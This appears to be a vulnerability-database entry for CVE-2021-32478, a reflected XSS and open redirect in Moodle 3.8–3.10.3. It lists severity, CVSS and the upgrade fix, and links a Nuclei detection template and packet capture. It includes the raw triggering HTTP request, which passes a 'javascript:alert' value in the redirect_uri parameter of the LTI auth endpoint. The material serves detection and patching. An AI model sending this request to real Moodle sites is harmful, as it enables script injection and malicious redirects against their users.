| Title | Moodle 3.8-3.10.3 - Reflected XSS & Open Redirect |
|---|---|
| Author | hackergautam |
| Severity | Medium |
| Impact | Attackers can inject malicious JavaScript or redirect users to malicious sites via insufficient sanitization in the redirect_uri parameter. |
| Remediation | Upgrade to Moodle version 3.8.9, 3.9.7, or 3.10.4 or later. |
| CVSS Score | 6.1 |
| EPSS Score | 0.03754 |
| CVE ID | CVE-2021-32478 |
| CWE ID | CWE-79 |
| Tags | cve cve2021 moodle xss intrusive vuln vkev |
Moodle versions 3.10 to 3.10.3, 3.9 to 3.9.6, 3.8 to 3.8.8 contain a reflected XSS and open redirect caused by insufficient sanitization of the redirect URI in the LTI authorization endpoint, letting attackers execute scripts or redirect users maliciously, exploit requires crafted URL with malicious redirect URI.
GET /mod/lti/auth.php?redirect_uri=javascript:alert('38FKjZIjpp8zdOaN7GQTuU4E9Al') HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:105.0) Gecko/20100101 Firefox/105.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-32478.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-32478.pcap
N/AN/A